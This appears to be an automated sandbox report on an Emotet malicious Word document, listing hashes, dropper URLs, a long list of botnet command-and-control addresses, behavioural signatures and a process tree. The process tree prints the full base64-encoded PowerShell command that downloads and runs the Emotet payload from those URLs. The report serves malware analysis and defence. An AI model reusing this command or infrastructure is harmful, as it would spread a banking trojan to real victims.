emotet | 373dedfa17cd1bd626135b4a4def1f57fcfa678810e4fad86e06e1b1705df574

Analysis

max time kernel
150s
max time network
145s
platform
windows10_x64
resource
win10
submitted
19/10/2020, 19:19

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General

Target
emotet_e1_373dedfa17cd1bd626135b4a4def1f57fcfa678810e4fad86e06e1b1705df574_2020-10-19__191654870261._doc.doc
Size 157KB
Sample201019-kvn2txsm2e
SHA256 373dedfa17cd1bd626135b4a4def1f57fcfa678810e4fad86e06e1b1705df574
MD5 6f24a823d95d2928a4c959d69b9ea3c2
SHA1 e5466feca7088c92e2da4589d65a8f2b4d27ef70
SHA512 d37a16d393f12124bcc6cd22b6b5877d4ae6e3ce291f9eeb050bbd0d248cdbb009e5d4cb9afa8341280c39ce107d8cb653f7f946951ce2f0cf4b8b31acd21ecc
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://guarany.net/zefiro/K/
exe.dropper
http://www.yanlipin.net/wp-admin/Q/
exe.dropper
https://aanshtravels.com/_notes/JLM/
exe.dropper
https://tcamexpo.com/wp-content/c/
exe.dropper
https://easihacks.com/wp-includes/d/
exe.dropper
https://cosyshe.com/wp-includes/A41/
exe.dropper
https://goodpriceshoes.com/wp-includes/0Ko/

Extracted

Family

emotet

Botnet

Epoch1

186.189.249.2:80
59.148.253.194:8080
173.212.197.71:8080
5.89.33.136:80
177.144.130.105:443
190.190.219.184:80
82.76.111.249:443
70.32.115.157:8080
62.84.75.50:80
190.24.243.186:80
51.15.7.145:80
24.232.228.233:80
46.105.114.137:8080
216.47.196.104:80
172.86.186.21:8080
186.103.141.250:443
128.92.203.42:80
190.188.245.242:80
152.169.22.67:80
170.81.48.2:80
178.211.45.66:8080
201.71.228.86:80
111.67.12.221:8080
70.169.17.134:80
5.196.35.138:7080
104.131.41.185:8080
60.93.23.51:80
181.123.6.86:80
137.74.106.111:7080
51.15.7.189:80
94.176.234.118:443
74.135.120.91:80
188.135.15.49:80
77.78.196.173:443
177.73.0.98:443
213.52.74.198:80
177.144.130.105:8080
177.74.228.34:80
209.236.123.42:8080
37.187.161.206:8080
174.118.202.24:443
178.250.54.208:8080
109.190.35.249:80
188.251.213.180:80
191.182.6.118:80
64.201.88.132:80
79.118.74.90:80
177.129.17.170:443
212.71.237.140:8080
109.190.249.106:80
192.232.229.54:7080
189.223.16.99:80
201.213.177.139:80
85.214.26.7:8080
191.191.23.135:80
46.43.2.95:8080
50.28.51.143:8080
98.103.204.12:443
37.179.145.105:80
46.101.58.37:8080
2.45.176.233:80
74.58.215.226:80
68.183.190.199:8080
185.94.252.27:443
186.222.250.115:8080
51.255.165.160:8080
138.97.60.140:8080
183.176.82.231:80
105.209.235.113:8080
77.238.212.227:80
103.236.179.162:80
45.46.37.97:80
83.169.21.32:7080
217.13.106.14:8080
68.183.170.114:8080
192.241.143.52:8080
202.134.4.210:7080
177.23.7.151:80
192.81.38.31:80
188.157.101.114:80
185.183.16.47:80
181.129.96.162:8080
87.106.46.107:8080
149.202.72.142:7080
45.33.77.42:8080
186.70.127.199:8090
175.143.12.123:8080
98.13.75.196:80
12.163.208.58:80
5.189.178.202:8080
138.97.60.141:7080
181.30.61.163:443
219.92.13.25:80
181.61.182.143:80
213.197.182.158:8080
1.226.84.243:8080
12.162.84.2:8080
189.2.177.210:443
185.94.252.12:80
51.75.33.127:80
190.115.18.139:8080
70.32.84.74:8080
81.215.230.173:443
172.104.169.32:8080
37.183.81.217:80
200.127.14.97:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3376	1656	POwersheLL.exe	73

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2584-11-0x0000000002140000-0x0000000002162000-memory.dmp	emotet
behavioral2/memory/2584-12-0x00000000021A0000-0x00000000021C1000-memory.dmp	emotet
behavioral2/memory/1232-15-0x0000000002040000-0x0000000002062000-memory.dmp	emotet
behavioral2/memory/1232-16-0x0000000002070000-0x0000000002091000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
15	3376	POwersheLL.exe
38	3376	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2584	Zb5uvjb.exe
1232	Windows.Media.BackgroundMediaPlayback.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\CertPolEng\Windows.Media.BackgroundMediaPlayback.exe	Zb5uvjb.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2880	WINWORD.EXE
2880	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3376	POwersheLL.exe
3376	POwersheLL.exe
3376	POwersheLL.exe
1232	Windows.Media.BackgroundMediaPlayback.exe
1232	Windows.Media.BackgroundMediaPlayback.exe
1232	Windows.Media.BackgroundMediaPlayback.exe
1232	Windows.Media.BackgroundMediaPlayback.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3376	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
2880	WINWORD.EXE
2880	WINWORD.EXE
2880	WINWORD.EXE
2880	WINWORD.EXE
2880	WINWORD.EXE
2880	WINWORD.EXE
2880	WINWORD.EXE
2880	WINWORD.EXE
2880	WINWORD.EXE
2584	Zb5uvjb.exe
1232	Windows.Media.BackgroundMediaPlayback.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2584 wrote to memory of 1232	2584	Zb5uvjb.exe	84
PID 2584 wrote to memory of 1232	2584	Zb5uvjb.exe	84
PID 2584 wrote to memory of 1232	2584	Zb5uvjb.exe	84

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_373dedfa17cd1bd626135b4a4def1f57fcfa678810e4fad86e06e1b1705df574_2020-10-19__191654870261._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2880

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD IABTAEUAVAAtAHYAQQByAGkAQQBCAGwAZQAgACgAIgAyADYAIgArACIAOABKAHUAIgArACIANAAiACkAIAAgACgAIAAgAFsAdABZAFAAZQBdACgAJwBTAHkAJwArACcAcwBUACcAKwAnAGUAJwArACcATQAnACsAJwAuAEkATwAuAEQAaQBSAEUAYwB0ACcAKwAnAG8AcgBZACcAKQAgACAAKQAgADsAIAAgACAAJABwAEMAcQA4ADUAcwAgAD0AIAAgAFsAdABZAHAARQBdACgAJwBTAHkAcwBUAEUATQAuAE4AZQB0AC4AcwBlAFIAVgAnACsAJwBpAGMAZQAnACsAJwBQAG8AJwArACcAaQBuACcAKwAnAFQAJwArACcAbQBhAE4AYQAnACsAJwBHAEUAcgAnACkAIAAgADsAIABzAGUAVAAtAEkAVABlAE0AIAAgACgAIgBWAEEAcgBpAEEAYgBMACIAKwAiAEUAOgA5ACIAKwAiAEkAIgArACIAZAB4ACIAKwAiADMAIgApACAAKAAgACAAWwB0AFkAUABlAF0AKAAnAHMAWQAnACsAJwBTAHQAZQBNACcAKwAnAC4ATgBlAHQALgAnACsAJwBzAEUAYwBVAFIAaQBUAFkAcAAnACsAJwByAG8AdAAnACsAJwBvAGMAbwAnACsAJwBsAHQAJwArACcAeQBwAEUAJwApACAAIAApACAAOwAgACQATABzAHoAbwBhAGoAbAA9ACgAJwBNAGEAJwArACcANgBhAGgAMQAnACsAJwB5ACcAKQA7ACQATwB4AG8ANwBkADAAZwA9ACQAVABoAGcAdQBuAGQAcwAgACsAIABbAGMAaABhAHIAXQAoADgAMAAgAC0AIAAzADgAKQAgACsAIAAkAEkAMABnAHAAMAA2AGYAOwAkAEwAZABxAHYAawA0AHUAPQAoACcAUQAnACsAJwB0AHYAcQB4ADAAJwArACcAMAAnACkAOwAgACgAIABWAGEAcgBJAGEAQgBsAGUAIAAoACIAMgA2ACIAKwAiADgASgB1ACIAKwAiADQAIgApACkALgB2AEEATAB1AGUAOgA6AGMAcgBFAEEAVABFAGQAaQByAGUAYwBUAE8AUgBZACgAJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQAgACsAIAAoACgAJwB2ACcAKwAnAFIAYQBOACcAKwAnADkAMABjACcAKwAnAHEAcgAnACsAJwBfACcAKwAnAHYAUgBhAFcAagAnACsAJwA2AGEAJwArACcAZAA2AGgAdgBSAGEAJwApACAALQBjAFIARQBQAEwAYQBDAEUAIAAgACcAdgBSAGEAJwAsAFsAYwBoAEEAcgBdADkAMgApACkAOwAkAFAAcABqADcAeQB4ADkAPQAoACcAWgAnACsAJwBkAGMAYwBjADgAcgAnACkAOwAgACAAKAAgAGcAQwBJACAAIAB2AGEAcgBJAEEAYgBsAGUAOgBwAEMAUQA4ADUAcwAgACAAKQAuAHYAQQBMAHUAZQA6ADoAUwBFAGMAVQByAEkAdABZAHAAUgBvAFQAbwBjAE8ATAAgAD0AIAAgACgAIAAgAHYAQQByAEkAYQBiAGwARQAgACgAIgA5AGkAIgArACIARABYADMAIgApACAAIAAtAHYAQQBMAHUAZQAgACAAKQA6ADoAVABMAHMAMQAyADsAJABXAGYAdgBkAGsAYwBlAD0AKAAnAFIAOQAnACsAJwA5ADYAcwBjADAAJwApADsAJABCAGwAZABiAHkANQA3ACAAPQAgACgAJwBaACcAKwAnAGIANQAnACsAJwB1AHYAagBiACcAKQA7ACQARABjAHYAaAAxAHIAZwA9ACgAJwBCADAAJwArACcAdQBzAG8ANgA3ACcAKQA7ACQASABrAGkAMgAxAGQANwA9ACgAJwBEACcAKwAnAHoAYwBiAGQAOQBiACcAKQA7ACQASwAwADIAMQBzAG0AZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBEAGcAQgBOADkAMABjACcAKwAnAHEAJwArACcAcgBfAEQAZwAnACsAJwBCAFcAJwArACcAagAnACsAJwA2AGEAZAA2AGgARAAnACsAJwBnACcAKwAnAEIAJwApAC0AcgBlAHAAbABhAEMARQAgACAAJwBEAGcAQgAnACwAWwBDAGgAYQByAF0AOQAyACkAKwAkAEIAbABkAGIAeQA1ADcAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAEMAMwAwAGgAcwA5AGoAPQAoACcAVABpACcAKwAnADQAdAAnACsAJwBzAHIAXwAnACkAOwAkAFQAcgBfAGkAMAA1AHUAPQBuAGAARQBXAC0AbwBgAEIAagBgAGUAYwB0ACAAbgBlAHQALgB3AEUAYgBDAGwASQBFAE4AVAA7ACQAUgB3AHEAMgAxAGQAawA9ACgAJwBoAHQAdABwADoALwAnACsAJwAvAGcAdQBhAHIAYQBuAHkAJwArACcALgBuAGUAJwArACcAdAAvACcAKwAnAHoAZQAnACsAJwBmAGkAcgBvACcAKwAnAC8ASwAnACsAJwAvACcAKwAnACoAaAB0AHQAJwArACcAcAA6AC8ALwB3ACcAKwAnAHcAdwAuAHkAYQBuACcAKwAnAGwAaQBwACcAKwAnAGkAbgAuACcAKwAnAG4AJwArACcAZQB0ACcAKwAnAC8AdwBwACcAKwAnAC0AYQBkAG0AJwArACcAaQBuACcAKwAnAC8AUQAnACsAJwAvACoAaAAnACsAJwB0ACcAKwAnAHQAcABzADoALwAvAGEAYQBuACcAKwAnAHMAaAB0AHIAYQB2AGUAbABzAC4AYwBvACcAKwAnAG0ALwBfAG4AbwB0AGUAcwAvAEoATABNACcAKwAnAC8AKgBoAHQAdAAnACsAJwBwAHMAOgAnACsAJwAvAC8AdABjAGEAbQBlAHgAJwArACcAcABvAC4AYwBvACcAKwAnAG0ALwB3ACcAKwAnAHAALQBjACcAKwAnAG8AbgAnACsAJwB0AGUAJwArACcAbgB0AC8AYwAvACoAJwArACcAaAB0AHQAcABzACcAKwAnADoAJwArACcALwAvACcAKwAnAGUAJwArACcAYQBzAGkAJwArACcAaAAnACsAJwBhAGMAJwArACcAawBzAC4AYwBvAG0ALwB3ACcAKwAnAHAAJwArACcALQAnACsAJwBpAG4AYwBsAHUAZABlAHMALwBkAC8AKgBoAHQAdABwAHMAOgAvAC8AYwBvACcAKwAnAHMAeQAnACsAJwBzACcAKwAnAGgAZQAuAGMAbwBtACcAKwAnAC8AJwArACcAdwBwACcAKwAnAC0AaQBuAGMAbAB1AGQAZQAnACsAJwBzACcAKwAnAC8AQQAnACsAJwA0ADEALwAqACcAKwAnAGgAJwArACcAdAB0ACcAKwAnAHAAcwA6AC8ALwAnACsAJwBnAG8AbwAnACsAJwBkAHAAcgBpAGMAZQAnACsAJwBzAGgAJwArACcAbwAnACsAJwBlAHMALgBjAG8AJwArACcAbQAvAHcAcAAtAGkAJwArACcAbgBjAGwAJwArACcAdQBkAGUAcwAvACcAKwAnADAASwBvAC8AJwApAC4AcwBQAEwAaQBUACgAJABEAGwAaQBsAGIAbABjACAAKwAgACQATwB4AG8ANwBkADAAZwAgACsAIAAkAEYAeQBjAGEAcABmAHcAKQA7ACQAWQAwAG8AdwA3AHoAYQA9ACgAJwBBAGIAYQAnACsAJwBzAGsAbQAnACsAJwBwACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARwBtAGkAbwB5AHYAdwAgAGkAbgAgACQAUgB3AHEAMgAxAGQAawApAHsAdAByAHkAewAkAFQAcgBfAGkAMAA1AHUALgBkAG8AdwBOAGwAbwBBAEQAZgBJAGwARQAoACQARwBtAGkAbwB5AHYAdwAsACAAJABLADAAMgAxAHMAbQBmACkAOwAkAFMAOQA4ADQAegAxAHUAPQAoACcAUwA4AF8ANQAnACsAJwA3AGkAMwAnACkAOwBJAGYAIAAoACgAZwBFAHQAYAAtAGkAVABgAGUATQAgACQASwAwADIAMQBzAG0AZgApAC4ATABFAE4ARwB0AGgAIAAtAGcAZQAgADMAMwAyADgANgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAnAHcAJwArACcAaQAnACsAJwBuADMAMgBfAFAAcgBvACcAKwAnAGMAZQBzAHMAJwApACkALgBjAHIAZQBBAHQARQAoACQASwAwADIAMQBzAG0AZgApADsAJABTAHcAdQBkAG8AagByAD0AKAAnAFcAJwArACcAawBhAGwAJwArACcAdgAzADcAJwApADsAYgByAGUAYQBrADsAJABKAGwAcwBqADUAcABoAD0AKAAnAE8AOAAnACsAJwBfAHoAJwArACcAaABzADQAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABLADcAdgAyADcAdgBsAD0AKAAnAEwAcwAnACsAJwA1AHEAdQAnACsAJwBzAGUAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3376

C:\Users\Admin\N90cqr_\Wj6ad6h\Zb5uvjb.exe
C:\Users\Admin\N90cqr_\Wj6ad6h\Zb5uvjb.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2584
- C:\Windows\SysWOW64\CertPolEng\Windows.Media.BackgroundMediaPlayback.exe
  "C:\Windows\SysWOW64\CertPolEng\Windows.Media.BackgroundMediaPlayback.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:1232

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1232-16-0x0000000002070000-0x0000000002091000-memory.dmp

Download

memory/1232-15-0x0000000002040000-0x0000000002062000-memory.dmp

Download

memory/2584-12-0x00000000021A0000-0x00000000021C1000-memory.dmp

Download

memory/2584-11-0x0000000002140000-0x0000000002162000-memory.dmp

Download

memory/2880-4-0x0000014BA03AD000-0x0000014BA03B0000-memory.dmp

Download

memory/2880-5-0x0000014BA0517000-0x0000014BA0528000-memory.dmp

Download

memory/2880-0-0x00007FF87FC70000-0x00007FF880336000-memory.dmp

Download

memory/2880-3-0x0000014BA03AD000-0x0000014BA03B0000-memory.dmp

Download

memory/2880-2-0x0000014BA03AD000-0x0000014BA03B0000-memory.dmp

Download

memory/2880-1-0x0000014BA03A8000-0x0000014BA03AD000-memory.dmp

Download

memory/3376-8-0x000001EDFE760000-0x000001EDFE761000-memory.dmp

Download

memory/3376-7-0x000001EDFE5B0000-0x000001EDFE5B1000-memory.dmp

Download

memory/3376-6-0x00007FF8783A0000-0x00007FF878D8C000-memory.dmp

Download